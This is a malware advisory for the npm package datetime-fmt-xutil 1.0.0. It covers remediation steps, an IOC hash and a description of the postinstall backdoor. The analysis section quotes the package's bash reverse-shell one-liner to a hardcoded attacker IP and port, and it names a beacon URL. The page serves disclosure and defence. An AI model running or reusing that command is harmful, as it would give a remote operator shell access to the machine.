Which versions of datetime-fmt-xutil are malicious?

The following npm versions of datetime-fmt-xutil are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate datetime-fmt-xutil if I installed it?

datetime-fmt-xutil establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed datetime-fmt-xutil — how do I know if it already compromised me?

If datetime-fmt-xutil was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is datetime-fmt-xutil part of a known attack campaign?

Yes — datetime-fmt-xutil is associated with the IN-MAL-2026-017626 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find datetime-fmt-xutil across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for datetime-fmt-xutil (version 1.0.0).

Malicious package

datetime-fmt-xutilnpm

Advisory published Aug 13, 2026Updated Aug 13, 2026

datetime-fmt-xutil is a confirmed malicious npm package (MAL-2026-13935) that opens a backdoor for remote access (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in datetime-fmt-xutil (npm)

MAL-2026-13935

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall datetime-fmt-xutil

What this malware does

The npm package's postinstall.js opens a TCP connection to the hardcoded IP 8.135.48.40 on port 4444 and pipes /bin/sh stdio through the socket, granting interactive shell access on the installer's machine to the operator of that endpoint. Bash (bash -i >& /dev/tcp/8.135.48.40/4444 0>&1) and python3 pty.spawn one-liners are executed as fallbacks, and failures are beaconed via HTTP GET to http://8.135.48.40/shell/failed?err=.... The behavior runs unconditionally at npm install via scripts.postinstall; the package's index.js date-formatting shim is a cover for the reverse-shell payload. The hardcoded bare IP has no relation to any declared publisher.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

7f916f6db3bec145472f71c43358b7e8056efb981041a3b4e9bffe8bbaec9997

Detection & response playbook

Backdoor / remote access

Find it
Search your lockfiles and build artifacts for datetime-fmt-xutil (version 1.0.0).
If you installed it — respond
datetime-fmt-xutil establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If datetime-fmt-xutil was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. datetime-fmt-xutil on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-017626

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks datetime-fmt-xutil-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring

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